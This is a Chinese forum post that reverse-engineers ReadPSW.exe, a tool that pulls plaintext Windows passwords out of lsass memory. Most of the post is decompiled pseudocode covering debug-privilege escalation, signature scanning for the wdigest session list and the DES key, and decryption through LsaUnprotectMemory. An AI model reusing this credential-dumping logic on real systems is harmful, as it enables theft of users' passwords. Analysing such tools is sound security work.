本帖最后由 王旭东 于 2015-1-7 08:26 编辑
mimikatz可谓获取windows明文密码神器，新版本更是加上了64位支持。用过一个小型获取明文密码程序，只有一个可执行文件ReadPSW.exe，通过逆向写出了源代码，稍微改改可能也可以支持64位。分享一下逆向过程和工作原理。‍‍ FreeBuf科普：了解mimikatz 只要借用一下电脑，便可轻松拿到密码……“女神，借用电脑一看可否？” 大神们都知道的东西吧，渗透测试常用工具。法国一个牛B的人写的轻量级调试器，可以帮助安全测试人员抓取Windows密码。 mimikatz 最近发布了它的2.0版本，抓密码命令更加简单了，估计作者也看到了对它这个神器最多的研究就是直接抓密码，为神马不发布一个直接一键版，哈哈哈哈哈。新功能还包括能够通过获取的kerberos登录凭据，绕过支持RestrictedAdmin模式的win8或win2012svr的远程终端(RDP)的登陆认证。建议默认禁止RestrictedAdmin模式登录。更多内容点我 逆向过程 ‍‍我喜欢先用IDA看大致流程，遇到难以静态看出来的函数再用OD或者windbg。IDA F5 main函数，一段一段的看。 ‍ int __cdecl main_0() { int hdll; // eax@15 HMODULE ModuleSecur32; // eax@15 int LsaEnumerateLogonSessions; // eax@15 int LsaGetLogonSessionData; // eax@15 int LsaFreeReturnBuffer; // eax@15 int bcrypt; // eax@27 int hbcrypt; // eax@27 int bcryptprimitives; // eax@27 int hbcryptprimitives; // eax@27 int status7; // eax@27 const void *Base; // [sp+7Ch] [bp-2E0h]@25 SIZE_T nSize; // [sp+80h] [bp-2DCh]@25 int pLsaFreeReturnBuffer; // [sp+88h] [bp-2D4h]@15 int pLsaGetLogonSessionData; // [sp+8Ch] [bp-2D0h]@15 int pLsaEnumerateLogonSessions; // [sp+90h] [bp-2CCh]@15 HMODULE Secur32; // [sp+94h] [bp-2C8h]@15 LPCVOID l_LogSessList; // [sp+98h] [bp-2C4h]@15 int LsaUnprotectMemory; // [sp+9Ch] [bp-2C0h]@15 struct _OSVERSIONINFOA VersionInformation; // [sp+A8h] [bp-2B4h]@5 HANDLE Lsass; // [sp+13Ch] [bp-220h]@3 LPCVOID List[128]; // [sp+140h] [bp-21Ch]@18 LPCVOID *First; // [sp+340h] [bp-1Ch]@20 int LogonSessionNow; // [sp+344h] [bp-18h]@18 int ListEntry; // [sp+348h] [bp-14h]@15 SIZE_T NumberOfBytesRead; // [sp+34Ch] [bp-10h]@18 int hDllLsasrv; // [sp+358h] [bp-4h]@15 ‍‍变量名大多是修改过的，通过分析子函数的功能做相应的改变，看起来方便一些。‍‍ memset(&tt, -858993460, 0x320u); if ( EnableDebugPrivilege() != 1 ) printf("EnableDebugPrivilege fail !"); ‍‍首先提权，比较简单：‍‍ pToken = &TokenHandle; dwAccess = TOKEN_ALL_ACCESS; ProcessHandle = GetCurrentProcess(); retProcessHandle = _chkesp(&dwAccess == &dwAccess, ProcessHandle, &dwAccess); status = OpenProcessToken(retProcessHandle, dwAccess, pToken); status1 = LookupPrivilegeValueA(0, "SeDebugPrivilege", &Luid); NewState.PrivilegeCount = 1; NewState.Privileges[0].Luid.LowPart = Luid.LowPart; NewState.Privileges[0].Luid.HighPart = Luid.HighPart; NewState.Privileges[0].Attributes = 2; status2 = AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0); ‍‍接着main函数流程：‍‍ Lsass = GetProcessHandle("lsass.exe"); if ( Lsass ) { offset_one = 0; offset_two = -1; memset(&VersionInformation, 0, 0x94u); VersionInformation.dwOSVersionInfoSize = 148; status = GetVersionExA(&VersionInformation); _chkesp(&t == &t, status, &v48); if ( VersionInformation.dwMajorVersion == 5 ) { if ( VersionInformation.dwMinorVersion == 1 ) { offset_one = 36; offset_two = 2; } else { if ( VersionInformation.dwMinorVersion == 2 ) { offset_one = 28; offset_two = 4; } } } else { if ( VersionInformation.dwMajorVersion == 6 ) { offset_one = 32; offset_two = 1; } } if ( offset_two == -1 ) { status12 = CloseHandle(Lsass); _chkesp(&t == &t, status12, &v48); returned = 0; } ‍‍上面工作主要是：获取lsass.exe进程句柄、根据不同版本赋值两个偏移量。可以看出支持xp和2003，之后版本vista、win7等使用同一偏移量。‍‍ else { hdll = LoadLibraryA("lsasrv.dll"); hDllLsasrv = _chkesp(&t == &t, hdll, &v48); LsaUnprotectMemory = GetFunctionAddr(hDllLsasrv, 0x7FFFDDDDu, db_8b_ff, 14u); ‍‍这个GetFunctionAddr是我重命名的，跟进去看一下实现就知道了：‍‍ int __cdecl GetFunctionAddr(int Module, unsigned int Limit, int Symbol, unsigned int Length) { return RealGetFunctionAddr(Module, Limit, Symbol, Length); } ‍‍是一个跳转，接着跟进：‍‍ int __cdecl RealGetFunctionAddr(int Module, unsigned int Limit, int Symbol, unsigned int Length) { while ( Length + Module <= Limit ) { label = Symbol; for ( i = 0; i < Length && *Module == *label; ++i ) { ++Module; ++label; } if ( i == Length ) break; Module = Module - i + 1; } return result; } ‍‍是用特征码查找函数地址的，想知道是什么函数最好用windbg跟一下，发现找到了lsasrv.dll的LsaUnprotectMemory 函数，这里我也对变量名进行了重命名。该函数用于解密LsaProtectMemory加密内存，这两个函数在LSA中用得非常多。‍‍ l_LogSessList = GetWdigestl_LogSessList(); DesKey(Lsass, hDllLsasrv, offset_two); ‍‍这两个函数挺关键，需要结合OD动态调试，先看第一个，中间有个类似上面的跳转，直接看实现函数：‍‍ unsigned int __cdecl RealGetFunction() { HMODULE hModule; // eax@1 unsigned int moduleBase; // [sp+4Ch] [bp-10h]@1 unsigned int returned; // [sp+50h] [bp-Ch]@1 int SpInstanceInit; // [sp+54h] [bp-8h]@1 HMODULE hLibModule; // [sp+58h] [bp-4h]@1 memset(&v6, -858993460, 0x50u); t1 = LoadLibraryA("wdigest.dll"); hModule = _chkesp(&v5 == &v5, t1, &v11); hLibModule = hModule; v2 = GetProcAddress(hModule, "SpInstanceInit"); SpInstanceInit = _chkesp(&v5 == &v5, v2, &v11); moduleBase = hLibModule; returned = 0; while ( moduleBase < SpInstanceInit && moduleBase ) { returned = moduleBase; moduleBase = GetFunctionAddr(moduleBase + 8, SpInstanceInit, db_8b_45, 8u); } returned = *(returned - 4); status = FreeLibrary(hLibModule); _chkesp(&v5 == &v5, status, &v11); return returned; } ‍‍‍‍首先加载‍‍wdigest.dll模块，这里有详细的介绍。然后获取SpInstanceInit的地址，接着是一个查找函数的循环，根据特征码在SpInstanceInit地址低位查找某个地址，使用windbg可以看到要找的东西：‍‍ 0:000> ln eax (742ec29c) <Unloaded_wdigest.dll>+0xc29c ‍‍这并不是一个函数，具体的作用现在还不知道。后面会用到。‍‍ ‍‍看下面的函数，这个函数实际上是用来产生DES的密钥：‍‍ const void *__cdecl make_DESKey(HANDLE hProcessLsass, int hDllLsasrv, int offset) { int status; // eax@1 const void *dwResult; // eax@1 int Key; // eax@4 char buffer; // [sp+Ch] [bp-68h]@1 int OSVersion; // [sp+4Ch] [bp-28h]@1 unsigned int HeapReverse; // [sp+50h] [bp-24h]@1 const void *Buffer; // [sp+54h] [bp-20h]@4 LPCVOID g_pDESXKey; // [sp+58h] [bp-1Ch]@4 LPCVOID lpBuffer; // [sp+5Ch] [bp-18h]@1 SIZE_T NumberOfBytesRead; // [sp+60h] [bp-14h]@1 SIZE_T nSize; // [sp+64h] [bp-10h]@1 int pImageNtHeaders; // [sp+68h] [bp-Ch]@1 int hTmpDllLsasrv; // [sp+6Ch] [bp-8h]@1 int DataSECTION; // [sp+70h] [bp-4h]@1 int v27; // [sp+74h] [bp+0h]@1 memset(&buffer, -858993460, 0x68u); hTmpDllLsasrv = hDllLsasrv; DataSECTION = *(hDllLsasrv + 60) + hDllLsasrv + 288; lpBuffer = (hDllLsasrv + *(DataSECTION + 12)); // 获取lsasrv.dll的数据区 nSize = ((*(DataSECTION + 8) >> 12) + 1) << 12; // 数据区大小 status = ReadProcessMemory(hProcessLsass, lpBuffer, lpBuffer, nSize, &NumberOfBytesRead); //读取数据区内容 _chkesp(&v15 == &v15, status, &v27); pImageNtHeaders = hDllLsasrv + *(hTmpDllLsasrv + 60); HeapReverse = hDllLsasrv + *(pImageNtHeaders + 80); dwResult = offset; OSVersion = offset; if ( offset == 1 ) { v8 = LoadLibraryA("bcrypt.dll"); _chkesp(&v15 == &v15, v8, &v27); v9 = LoadLibraryA("bcryptprimitives.dll"); _chkesp(&v15 == &v15, v9, &v27); v10 = GetFunctionAddr(hDllLsasrv, HeapReverse, "3仪E鑌b", 0xCu); //根据特征码查找存放DES_KEY的地址 g_pDESXKey = v10; g_pDESXKey = *(v10 - 1); v11 = ReadProcessMemory(hProcessLsass, g_pDESXKey, &Buffer, 4u, &NumberOfBytesRead); _chkesp(&v15 == &v15, v11, &v27); v12 = ReadProcessMemory(hProcessLsass, Buffer, &t_Key, 0x200u, &NumberOfBytesRead); // 通过两次内存查找找到KEY _chkesp(&v15 == &v15, v12, &v27); lpBuffer = g_pDESXKey; *g_pDESXKey = &t_Key; v13 = ReadProcessMemory(hProcessLsass, lpBaseAddress, &unk_42BFB8, 0x200u, &NumberOfBytesRead); _chkesp(&v15 == &v15, v13, &v27); lpBuffer = &lpBaseAddress; lpBaseAddress = &unk_42BFB8; v14 = ReadProcessMemory(hProcessLsass, dword_42AFC4, &unk_42ADB8, 0x200u, &NumberOfBytesRead); dwResult = _chkesp(&v15 == &v15, v14, &v27); dword_42AFC4 = &unk_42ADB8; } else { if ( OSVersion == 2 || OSVersion == 4 ) { Key = GetFunctionAddr(hDllLsasrv, HeapReverse, Key_Symbol, 0xCu); g_pDESXKey = Key; g_pDESXKey = *(Key + 12); v6 = ReadProcessMemory(hProcessLsass, g_pDESXKey, &Buffer, 4u, &NumberOfBytesRead); _chkesp(&v15 == &v15, v6, &v27); v7 = ReadProcessMemory(hProcessLsass, Buffer, &t_Key, 0x200u, &NumberOfBytesRead); _chkesp(&v15 == &v15, v7, &v27); dwResult = g_pDESXKey; lpBuffer = g_pDESXKey; *g_pDESXKey = &t_Key; } } return dwResult; } ‍‍根据最初得到的偏移，读取进程地址空间，获取DES的密钥。了解了这两个函数内容接着回归main函数：‍‍ status13 = LoadLibraryA("Secur32.dll"); ModuleSecur32 = _chkesp(&t == &t, status13, &v48); Secur32 = ModuleSecur32; LsaEnumerateLogonSessions = GetProcAddress(ModuleSecur32, "LsaEnumerateLogonSessions"); pLsaEnumerateLogonSessions = _chkesp(&t == &t, LsaEnumerateLogonSessions, &v48); LsaGetLogonSessionData = GetProcAddress(Secur32, "LsaGetLogonSessionData"); pLsaGetLogonSessionData = _chkesp(&t == &t, LsaGetLogonSessionData, &v48); LsaFreeReturnBuffer = GetProcAddress(Secur32, "LsaFreeReturnBuffer"); pLsaFreeReturnBuffer = _chkesp(&t == &t, LsaFreeReturnBuffer, &v48); status1 = (pLsaEnumerateLogonSessions)(&count, &ListEntry); ‍‍加载secur32.dll，然后获取几个函数的地址，枚举登陆会话和获取登陆会话数据。接着调用LsaEnumerateLogonSessions得到当前登录的会话个数以及所有会话组成的列表。MSDN上说明了这个函数，会返回会话的LUID。‍‍ _chkesp(&t == &t, status1, &v48); for ( i = 0; i < count; ++i ) { LogonSessionNow = ListEntry + 8 * i;// 根据这里可以知道 output_name_session(pLsaGetLogonSessionData, pLsaFreeReturnBuffer, ListEntry + 8 * i); // 这里输出登陆用户名 进入output_name_session看看： int __cdecl output_name_session_real(int (__stdcall *pLsaGetLogonSessionData)(_DWORD, _DWORD), int (__stdcall *pLsaFreeReturnBuffer)(_DWORD), int LogonSessionNow) { int status; // eax@1 int status1; // eax@1 char v6; // [sp+0h] [bp-50h]@1 char v7; // [sp+Ch] [bp-44h]@1 int LogonSessionData; // [sp+4Ch] [bp-4h]@1 int v9; // [sp+50h] [bp+0h]@1 memset(&v7, -858993460, 0x44u); status = pLsaGetLogonSessionData(LogonSessionNow, &LogonSessionData); _chkesp(&v6 == &v6, status, &v9); printf("UserName: %S\n", *(LogonSessionData + 16)); printf("LogonDomain: %S\n", *(LogonSessionData + 24)); status1 = pLsaFreeReturnBuffer(LogonSessionData); return _chkesp(&v6 == &v6, status1, &v9); } 这里用了之前查找的LsaGetLogonSessionData和LsaFreeReturnBuffer，输出登陆名和域名。 status3 = ReadProcessMemory(Lsass, l_LogSessList, List, 0x100u, &NumberOfBytesRead); // 这里读取之前获取的那个不明地址内容到List _chkesp(&t == &t, status3, &v48); while ( List[0] != l_LogSessList ) { status4 = ReadProcessMemory(Lsass, List[0], List, 0x100u, &NumberOfBytesRead); _chkesp(&t == &t, status4, &v48); First = &List[4]; if ( List[4] == *LogonSessionNow ) { if ( First[1] == *(LogonSessionNow + 4) ) // 这个First[1]看着太别扭了，实际上就是比较List[4]和枚举到的会话LUID值 break;// 这里可以知道之前那个不明地址<Unloaded_wdigest.dll>+0xc29c是个列表 } } if ( List[0] == l_LogSessList ) { printf("Specific LUID NOT found\n"); } else { nSize = 0; v28 = (offset_one + First); nSize = *(offset_one + First + 2); Base = *(offset_one + First + 4); // 还是使用了First，不要忘记First是从当时那个不明地址处读取的值 memset(Buffer2, 0, 0x100u); status2 = ReadProcessMemory(Lsass, Base, Buffer2, nSize, &NumberOfBytesRead); _chkesp(&t == &t, status2, &v47);// 这里读到加密之后的密码。整个流程就清楚了，使用LsaEnumerateSessions获取LUIDs，与之前通过特征码找到的l_LogSessList结合找出密码。l_LogSessList保存了密码的长度和存放地址以及会话LUID，是个重要的未公开结构体。 status5 = (LsaUnprotectMemory)(Buffer2, nSize); _chkesp(&t == &t, status5, &v47); printf("password: %S\n\n", Buffer2); } ‍‍后面是一些释放dll和内存的工作，不再赘述。程序和IDA数据库右键图片可以得到。 | 
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发表于 2015-1-7 08:33
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